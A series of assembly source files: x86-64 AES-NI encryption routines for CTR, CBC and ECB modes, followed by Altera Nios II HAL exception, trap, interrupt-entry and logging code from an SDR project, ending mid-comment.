paddd xmm5,[counter_add_one wrt rip]
add rdx, 16
movdqu xmm4,[rcx+0*16]
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenclast1_u [rcx+10*16]
movdqu xmm4, [rdx-16]
pxor xmm0,xmm4
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp128encctrsingle
end_encctr128:
mov r9,[r9+24]
pshufb xmm5, xmm6 ; byte swap counter
movdqu [r9],xmm5
movdqa xmm6, [rsp+16*16]
add rsp,16*16+8+16
ret
align 16
global _iEnc192_CTR
_iEnc192_CTR:
linux_setup
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
sub rsp,16*16+8+16
movdqa [rsp+16*16], xmm6
movdqa xmm6, [byte_swap_16 wrt rip]
pshufb xmm5, xmm6 ; byte swap counter
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_encctr192
cmp eax,4
jl lp192encctrsingle
test rcx,0xf
jz lpencctr192four
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
mov rcx,rsp
align 16
lpencctr192four:
test eax,eax
jz end_encctr192
cmp eax,4
jl lp192encctrsingle
load_and_inc4 [rcx+0*16]
add rdx,4*16
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenc4 [rcx+10*16]
aesenc4 [rcx+11*16]
aesenclast4 [rcx+12*16]
xor_with_input4 rdx-(4*16)
store4 r8+rdx-16*4
sub eax,4
jmp lpencctr192four
align 16
lp192encctrsingle:
movdqa xmm0,xmm5
pshufb xmm0, xmm6 ; byte swap counter back
movdqu xmm4,[rcx+0*16]
paddd xmm5,[counter_add_one wrt rip]
add rdx, 16
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenc1_u [rcx+10*16]
aesenc1_u [rcx+11*16]
aesenclast1_u [rcx+12*16]
movdqu xmm4, [rdx-16]
pxor xmm0,xmm4
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp192encctrsingle
end_encctr192:
mov r9,[r9+24]
pshufb xmm5, xmm6 ; byte swap counter
movdqu [r9],xmm5
movdqa xmm6, [rsp+16*16]
add rsp,16*16+8+16
ret
align 16
global _iEnc256_CTR
_iEnc256_CTR:
linux_setup
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
sub rsp,16*16+8+16
movdqa [rsp+16*16], xmm6
movdqa xmm6, [byte_swap_16 wrt rip]
pshufb xmm5, xmm6 ; byte swap counter
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_encctr256
cmp eax,4
jl lp256encctrsingle
test rcx,0xf
jz lpencctr256four
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
lpencctr256four:
test eax,eax
jz end_encctr256
cmp eax,4
jl lp256encctrsingle
load_and_inc4 [rcx+0*16]
add rdx,4*16
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenc4 [rcx+10*16]
aesenc4 [rcx+11*16]
aesenc4 [rcx+12*16]
aesenc4 [rcx+13*16]
aesenclast4 [rcx+14*16]
xor_with_input4 rdx-(4*16)
store4 r8+rdx-16*4
sub eax,4
jmp lpencctr256four
align 16
lp256encctrsingle:
movdqa xmm0,xmm5
pshufb xmm0, xmm6 ; byte swap counter back
movdqu xmm4,[rcx+0*16]
paddd xmm5,[counter_add_one wrt rip]
add rdx, 16
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenc1_u [rcx+10*16]
aesenc1_u [rcx+11*16]
aesenc1_u [rcx+12*16]
aesenc1_u [rcx+13*16]
aesenclast1_u [rcx+14*16]
movdqu xmm4, [rdx-16]
pxor xmm0,xmm4
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp256encctrsingle
end_encctr256:
mov r9,[r9+24]
pshufb xmm5, xmm6 ; byte swap counter
movdqu [r9],xmm5
movdqa xmm6, [rsp+16*16]
add rsp,16*16+8+16
ret
align 16
global _iEnc128_CBC
_iEnc128_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm1,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test rcx,0xf
jz lp128encsingle_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
mov rcx,rsp
align 16
lp128encsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+0*16]
add rdx, 16
pxor xmm0, xmm1
pxor xmm0, xmm4
aesenc1 [rcx+1*16]
aesenc1 [rcx+2*16]
aesenc1 [rcx+3*16]
aesenc1 [rcx+4*16]
aesenc1 [rcx+5*16]
aesenc1 [rcx+6*16]
aesenc1 [rcx+7*16]
aesenc1 [rcx+8*16]
aesenc1 [rcx+9*16]
aesenclast1 [rcx+10*16]
movdqa xmm1,xmm0
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp128encsingle_CBC
mov r9,[r9+24]
movdqu [r9],xmm1
add rsp,16*16+8
ret
align 16
global _iEnc192_CBC
_iEnc192_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm1,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test rcx,0xf
jz lp192encsingle_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
mov rcx,rsp
align 16
lp192encsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4, [rcx+0*16]
add rdx, 16
pxor xmm0, xmm1
pxor xmm0, xmm4
aesenc1 [rcx+1*16]
aesenc1 [rcx+2*16]
aesenc1 [rcx+3*16]
aesenc1 [rcx+4*16]
aesenc1 [rcx+5*16]
aesenc1 [rcx+6*16]
aesenc1 [rcx+7*16]
aesenc1 [rcx+8*16]
aesenc1 [rcx+9*16]
aesenc1 [rcx+10*16]
aesenc1 [rcx+11*16]
aesenclast1 [rcx+12*16]
movdqa xmm1,xmm0
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp192encsingle_CBC
mov r9,[r9+24]
movdqu [r9],xmm1
add rsp,16*16+8
ret
align 16
global _iEnc256_CBC
_iEnc256_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm1,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test rcx,0xf
jz lp256encsingle_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
lp256encsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4, [rcx+0*16]
add rdx, 16
pxor xmm0, xmm1
pxor xmm0, xmm4
aesenc1 [rcx+1*16]
aesenc1 [rcx+2*16]
aesenc1 [rcx+3*16]
aesenc1 [rcx+4*16]
aesenc1 [rcx+5*16]
aesenc1 [rcx+6*16]
aesenc1 [rcx+7*16]
aesenc1 [rcx+8*16]
aesenc1 [rcx+9*16]
aesenc1 [rcx+10*16]
aesenc1 [rcx+11*16]
aesenc1 [rcx+12*16]
aesenc1 [rcx+13*16]
aesenclast1 [rcx+14*16]
movdqa xmm1,xmm0
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp256encsingle_CBC
mov r9,[r9+24]
movdqu [r9],xmm1
add rsp,16*16+8
ret
;=========================================
align 16
global _imyEnc256_CBC
_imyEnc256_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm1,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test rcx,0xf
jz mylp256encsingle_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
mylp256encsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4, [rcx+0*16]
add rdx, 16
pxor xmm0, xmm1
pxor xmm0, xmm4
aesenc1 [rcx+1*16]
aesenc1 [rcx+2*16]
aesenc1 [rcx+3*16]
aesenc1 [rcx+4*16]
aesenc1 [rcx+5*16]
aesenc1 [rcx+6*16]
aesenc1 [rcx+7*16]
aesenc1 [rcx+8*16]
aesenc1 [rcx+9*16]
aesenc1 [rcx+10*16]
aesenc1 [rcx+11*16]
aesenc1 [rcx+12*16]
aesenc1 [rcx+13*16]
aesenclast1 [rcx+14*16]
movdqa xmm1,xmm0
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz mylp256encsingle_CBC
;mov r9,[r9+24]
;movdqu [r9],xmm1
add rsp,16*16+8
ret
align 16
global _iEnc192
_iEnc192:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_enc192
cmp eax,4
jl lp192encsingle
test rcx,0xf
jz lpenc192four
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
mov rcx,rsp
align 16
lpenc192four:
test eax,eax
jz end_enc192
cmp eax,4
jl lp192encsingle
load_and_xor4 rdx,[rcx+0*16]
add rdx,4*16
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenc4 [rcx+10*16]
aesenc4 [rcx+11*16]
aesenclast4 [rcx+12*16]
store4 r8+rdx-16*4
sub eax,4
jmp lpenc192four
align 16
lp192encsingle:
movdqu xmm0, [rdx]
movdqu xmm4, [rcx+0*16]
add rdx, 16
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenc1_u [rcx+10*16]
aesenc1_u [rcx+11*16]
aesenclast1_u [rcx+12*16]
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp192encsingle
end_enc192:
add rsp,16*16+8
ret
align 16
global _iEnc256
_iEnc256:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_enc256
cmp eax,4
jl lp256enc
test rcx,0xf
jz lp256enc4
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
lp256enc4:
test eax,eax
jz end_enc256
cmp eax,4
jl lp256enc
load_and_xor4 rdx,[rcx+0*16]
add rdx, 16*4
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenc4 [rcx+10*16]
aesenc4 [rcx+11*16]
aesenc4 [rcx+12*16]
aesenc4 [rcx+13*16]
aesenclast4 [rcx+14*16]
store4 r8+rdx-16*4
sub eax,4
jmp lp256enc4
align 16
lp256enc:
movdqu xmm0, [rdx]
movdqu xmm4, [rcx+0*16]
add rdx, 16
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenc1_u [rcx+10*16]
aesenc1_u [rcx+11*16]
aesenc1_u [rcx+12*16]
aesenc1_u [rcx+13*16]
aesenclast1_u [rcx+14*16]
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp256enc
end_enc256:
add rsp,16*16+8
ret
|
alberto-grl/1bitSDR | 3,594 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_exception_trap.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2005 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
/*
* This is the trap exception handler for Nios2.
*/
/*
* Provide a label which can be used to pull this file in.
*/
.section .exceptions.start
.globl alt_exception_trap
alt_exception_trap:
/*
* Pull in the entry/exit code.
*/
.globl alt_exception
.section .exceptions.soft, "xa"
.Ltrap_handler:
/*
* Did a trap instruction cause the exception?
*
* The instruction which the exception occurred on has been loaded
* into r2 by code in alt_exception_entry.S
*
*/
movhi r3,0x003b /* upper half of trap opcode */
ori r3,r3,0x683a /* lower half of trap opcode */
bne r2,r3,.Lnot_trap
/*
* There is no trap handler defined here, and so executing a trap
* instruction causes a software break. If you provide a trap handler,
* then you must replace the break instruction below with your handler.
* Your handler must preserve ea and the usual callee saved registers.
*/
break
br .Lexception_exit
.Lnot_trap:
.section .exceptions.exit.label
.Lexception_exit:
|
alberto-grl/1bitSDR | 4,685 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_irq_entry.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2004 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
#include "system.h"
/*
* This is the interrupt exception entry point code, which saves all the
* registers and calls the interrupt handler. It should be pulled in using
* a .globl from alt_irq_register.c. This scheme is used so that if an
* interrupt is never registered, then this code will not appear in the
* generated executable, thereby improving code footprint.
*/
/*
* Explicitly allow the use of r1 (the assembler temporary register)
* within this code. This register is normally reserved for the use of
* the compiler.
*/
.set noat
/*
* Pull in the exception handler register save code.
*/
.globl alt_exception
.globl alt_irq_entry
.section .exceptions.entry.label, "xa"
alt_irq_entry:
/*
* Section .exceptions.entry is in alt_exception_entry.S
* This saves all the caller saved registers and reads estatus into r5
*/
.section .exceptions.irqtest, "xa"
#ifdef ALT_CI_INTERRUPT_VECTOR_N
/*
* Use the interrupt vector custom instruction if present to accelerate
* this code.
* If the interrupt vector custom instruction returns a negative
* value, there are no interrupts active (estatus.pie is 0
* or ipending is 0) so assume it is a software exception.
*/
custom ALT_CI_INTERRUPT_VECTOR_N, r4, r0, r0
blt r4, r0, .Lnot_irq
#else
/*
* Test to see if the exception was a software exception or caused
* by an external interrupt, and vector accordingly.
*/
rdctl r4, ipending
andi r2, r5, 1
beq r2, zero, .Lnot_irq
beq r4, zero, .Lnot_irq
#endif /* ALT_CI_INTERRUPT_VECTOR_N */
.section .exceptions.irqhandler, "xa"
/*
* Now that all necessary registers have been preserved, call
* alt_irq_handler() to process the interrupts.
*/
call alt_irq_handler
.section .exceptions.irqreturn, "xa"
br .Lexception_exit
.section .exceptions.notirq.label, "xa"
.Lnot_irq:
/*
* Section .exceptions.exit is in alt_exception_entry.S
* This restores all the caller saved registers
*/
.section .exceptions.exit.label
.Lexception_exit:
|
alberto-grl/1bitSDR | 1,742 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_log_macro.S | /* alt_log_macro.S
*
* Implements the function tx_log_str, called by the assembly macro
* ALT_LOG_PUTS(). The macro will be empty when logging is turned off,
* and this function will not be compiled. When logging is on,
* this function is used to print out the strings defined in the beginning
* of alt_log_printf.c, using port information taken from system.h and
* alt_log_printf.h.
*
* This routine only handles strings, and sends a character into the defined
* output device's output buffer when the device is ready. It's intended for
* debugging purposes, where messages can be set to print out at certain
* points in the boot code to indicate the progress of the program.
*
*/
#ifndef __ALT_LOG_MACROS__
#define __ALT_LOG_MACROS__
/* define this flag to skip assembly-incompatible parts
* of various include files. */
#define ALT_ASM_SRC
#ifdef ALT_LOG_ENABLE // only compile this function if this flag is defined.
#include "system.h"
#include "sys/alt_log_printf.h"
.global tx_log_str
tx_log_str:
/* load base uart / jtag uart address into r6 */
movhi r6, %hiadj(ALT_LOG_PORT_BASE)
addi r6, r6, %lo(ALT_LOG_PORT_BASE)
tx_next_char:
/* if pointer points to null, return
* r4 is the pointer to the str to be printed, set by ALT_LOG_PUTS */
ldb r7, (r4)
beq r0, r7, end_tx
/* check device transmit ready */
wait_tx_ready_loop:
ldwio r5, ALT_LOG_PRINT_REG_OFFSET(r6)
andi r5, r5, ALT_LOG_PRINT_MSK
beq r5, r0, wait_tx_ready_loop
/* write char */
stwio r7, ALT_LOG_PRINT_TXDATA_REG_OFFSET (r6)
/* advance string pointer */
addi r4, r4, 1
br tx_next_char
end_tx:
ret
#endif
#endif /* __ALT_LOG_MACROS__ */
|
alberto-grl/1bitSDR | 14,886 | SDR_CycloneIII/software/sdr_bsp/HAL/src/alt_exception_entry.S | /******************************************************************************
* *
* License Agreement *
* *
* Copyright (c) 2003-2008 Altera Corporation, San Jose, California, USA. *
* All rights reserved. *
* *
* Permission is hereby granted, free of charge, to any person obtaining a *
* copy of this software and associated documentation files (the "Software"), *
* to deal in the Software without restriction, including without limitation *
* the rights to use, copy, modify, merge, publish, distribute, sublicense, *
* and/or sell copies of the Software, and to permit persons to whom the *
* Software is furnished to do so, subject to the following conditions: *
* *
* The above copyright notice and this permission notice shall be included in *
* all copies or substantial portions of the Software. *
* *
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR *
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE *
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING *
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER *
* DEALINGS IN THE SOFTWARE. *
* *
* This agreement shall be governed in all respects by the laws of the State *
* of California and by the laws of the United States of America. *
* *
******************************************************************************/
#include "system.h"
/*
* This is the exception entry point code, which saves all the caller saved
* registers and then handles the appropriate exception. It should be pulled
* in using a .globl from all the exception handler routines. This scheme is
* used so that if an interrupt is never registered, then this code will not
* appear in the generated executable, thereby improving code footprint.
*
* If an external interrpt controller (EIC) is present, it will supply an
* interrupt vector address to the processor when an interrupt occurs. For
* The Altera Vectored Interrupt Controller (VIC) driver will establish a
* vector table and the processor will jump directly to the appropriate
* table entry, funnel routine, and then user ISR. This will bypass this code
* in entirety. This code might still be linked into a system with an EIC,
* but would then be used only for non-interrupt exceptions.
*/
/*
* Explicitly allow the use of r1 (the assembler temporary register)
* within this code. This register is normally reserved for the use of
* the assembler.
*/
.set noat
/*
* The top and bottom of the exception stack.
*/
#ifdef ALT_EXCEPTION_STACK
.globl __alt_exception_stack_pointer
#ifdef ALT_STACK_CHECK
.globl __alt_exception_stack_limit
/*
* Store the value of the stack limit after interrupt somewhere.
*/
.globl alt_exception_old_stack_limit
#endif /* ALT_STACK_CHECK */
#endif /* ALT_EXCEPTION_STACK */
/*
* The code at alt_exception is located at the Nios II exception
* handler address.
*/
.section .exceptions.entry.label, "xa"
.globl alt_exception
.type alt_exception, @function
alt_exception:
/*
* The code for detecting a likely fatal ECC exception is
* linked here before the normal exception handler code if required.
* This is handled by the linker script and putting that code
* in the .exceptions.entry.ecc_fatal section.
*/
/*
* Now start the normal exception handler code.
*/
.section .exceptions.entry, "xa"
#ifdef ALT_EXCEPTION_STACK
#ifdef ALT_STACK_CHECK
/*
* When runtime stack checking is enabled, the et register
* contains the stack limit. Save this in memory before
* overwriting the et register.
*/
stw et, %gprel(alt_exception_old_stack_limit)(gp)
#endif /* ALT_STACK_CHECK */
/*
* Switch to the exception stack and save the current stack pointer
* in memory. Uses the et register as a scratch register.
*/
movhi et, %hi(__alt_exception_stack_pointer - 80)
ori et, et, %lo(__alt_exception_stack_pointer - 80)
stw sp, 76(et)
mov sp, et
#ifdef ALT_STACK_CHECK
/*
* Restore the stack limit from memory to the et register.
*/
movhi et, %hi(__alt_exception_stack_limit)
ori et, et, %lo(__alt_exception_stack_limit)
stw et, %gprel(alt_stack_limit_value)(gp)
#endif /* ALT_STACK_CHECK */
#else /* ALT_EXCEPTION_STACK disabled */
/*
* Reserve space on normal stack for registers about to be pushed.
*/
addi sp, sp, -76
#ifdef ALT_STACK_CHECK
/* Ensure stack didn't just overflow. */
bltu sp, et, .Lstack_overflow
#endif /* ALT_STACK_CHECK */
#endif /* ALT_EXCEPTION_STACK */
/*
* Process an exception. For all exceptions we must preserve all
* caller saved registers on the stack (See the Nios II ABI
* documentation for details).
*
* Leave a gap in the stack frame at 4(sp) for the muldiv handler to
* store zero into.
*/
stw ra, 0(sp)
stw r1, 8(sp)
stw r2, 12(sp)
stw r3, 16(sp)
stw r4, 20(sp)
stw r5, 24(sp)
stw r6, 28(sp)
stw r7, 32(sp)
rdctl r5, estatus /* Read early to avoid usage stall */
stw r8, 36(sp)
stw r9, 40(sp)
stw r10, 44(sp)
stw r11, 48(sp)
stw r12, 52(sp)
stw r13, 56(sp)
stw r14, 60(sp)
stw r15, 64(sp)
/*
* ea-4 contains the address of the instruction being executed
* when the exception occured. For interrupt exceptions, we will
* will be re-issue the isntruction. Store it in 72(sp)
*/
stw r5, 68(sp) /* estatus */
addi r15, ea, -4 /* instruction that caused exception */
stw r15, 72(sp)
/*
* The interrupt testing code (.exceptions.irqtest) will be
* linked here. If the Internal Interrupt Controller (IIC) is
* present (an EIC is not present), the presense of an interrupt
* is determined by examining CPU control registers or an interrupt
* custom instruction, if present.
*
* If the IIC is used and an interrupt is active, the code linked
* here will call the HAL IRQ handler (alt_irq_handler()) which
* successively calls registered interrupt handler(s) until no
* interrupts remain pending. It then jumps to .exceptions.exit. If
* there is no interrupt then it continues to .exception.notirq, below.
*/
.section .exceptions.notirq, "xa"
/*
* Prepare to service unimplemtned instructions or traps,
* each of which is optionally inked into section .exceptions.soft,
* which will preceed .exceptions.unknown below.
*
* Unlike interrupts, we want to skip the exception-causing instructon
* upon completion, so we write ea (address of instruction *after*
* the one where the exception occured) into 72(sp). The actual
* instruction that caused the exception is written in r2, which these
* handlers will utilize.
*/
stw ea, 72(sp) /* Don't re-issue */
ldw r2, -4(ea) /* Instruction that caused exception */
/*
* Other exception handling code, if enabled, will be linked here.
* This includes unimplemted (multiply/divide) instruction support
* (a BSP generaton option), and a trap handler (that would typically
* be augmented with user-specific code). These are not linked in by
* default.
*/
/*
